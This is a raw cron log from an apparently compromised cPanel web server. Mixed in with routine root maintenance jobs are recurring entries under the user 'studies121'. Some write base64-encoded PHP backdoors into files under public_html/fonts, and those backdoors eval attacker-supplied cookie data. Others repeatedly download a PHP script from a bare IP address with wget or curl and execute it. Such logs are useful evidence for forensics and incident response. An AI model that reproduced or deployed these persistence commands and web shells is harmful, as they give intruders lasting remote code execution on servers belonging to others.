Sep  4 04:43:01 ip-184-168-122-23 CROND[23101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:43:01 ip-184-168-122-23 CROND[23103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:43:01 ip-184-168-122-23 CROND[23104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:43:01 ip-184-168-122-23 CROND[23107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:44:01 ip-184-168-122-23 CROND[23301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:44:01 ip-184-168-122-23 CROND[23302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:44:01 ip-184-168-122-23 CROND[23303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:44:01 ip-184-168-122-23 CROND[23304]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:44:01 ip-184-168-122-23 CROND[23308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:45:01 ip-184-168-122-23 CROND[23443]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  4 04:45:01 ip-184-168-122-23 CROND[23446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:45:01 ip-184-168-122-23 CROND[23449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:45:01 ip-184-168-122-23 CROND[23448]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:45:01 ip-184-168-122-23 CROND[23451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:45:01 ip-184-168-122-23 CROND[23447]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:45:01 ip-184-168-122-23 CROND[23450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:46:01 ip-184-168-122-23 CROND[23574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:46:01 ip-184-168-122-23 CROND[23576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:46:01 ip-184-168-122-23 CROND[23578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:46:01 ip-184-168-122-23 CROND[23577]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 04:46:01 ip-184-168-122-23 CROND[23579]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 04:46:01 ip-184-168-122-23 CROND[23580]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:46:01 ip-184-168-122-23 CROND[23583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:47:01 ip-184-168-122-23 CROND[23822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:47:01 ip-184-168-122-23 CROND[23821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:47:01 ip-184-168-122-23 CROND[23823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:47:01 ip-184-168-122-23 CROND[23824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:48:01 ip-184-168-122-23 CROND[23929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:48:01 ip-184-168-122-23 CROND[23928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:48:01 ip-184-168-122-23 CROND[23930]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:48:01 ip-184-168-122-23 CROND[23933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:48:01 ip-184-168-122-23 CROND[23936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:49:01 ip-184-168-122-23 CROND[24031]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 04:49:01 ip-184-168-122-23 CROND[24033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:49:01 ip-184-168-122-23 CROND[24034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:49:01 ip-184-168-122-23 CROND[24036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:49:01 ip-184-168-122-23 CROND[24040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:50:02 ip-184-168-122-23 CROND[24258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:50:02 ip-184-168-122-23 CROND[24260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:50:02 ip-184-168-122-23 CROND[24262]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 04:50:02 ip-184-168-122-23 CROND[24263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:50:02 ip-184-168-122-23 CROND[24264]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 04:50:02 ip-184-168-122-23 CROND[24265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:50:02 ip-184-168-122-23 CROND[24270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:50:02 ip-184-168-122-23 CROND[24267]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:50:02 ip-184-168-122-23 CROND[24272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:51:01 ip-184-168-122-23 CROND[24382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:51:01 ip-184-168-122-23 CROND[24384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:51:01 ip-184-168-122-23 CROND[24389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:51:01 ip-184-168-122-23 CROND[24390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:52:01 ip-184-168-122-23 CROND[24499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:52:01 ip-184-168-122-23 CROND[24501]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:52:01 ip-184-168-122-23 CROND[24500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:52:01 ip-184-168-122-23 CROND[24506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:52:01 ip-184-168-122-23 CROND[24505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:53:01 ip-184-168-122-23 CROND[24609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:53:01 ip-184-168-122-23 CROND[24611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:53:01 ip-184-168-122-23 CROND[24614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:53:01 ip-184-168-122-23 CROND[24615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:54:01 ip-184-168-122-23 CROND[24740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:54:01 ip-184-168-122-23 CROND[24744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:54:01 ip-184-168-122-23 CROND[24745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:54:01 ip-184-168-122-23 CROND[24743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:54:01 ip-184-168-122-23 CROND[24742]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:55:01 ip-184-168-122-23 CROND[24920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
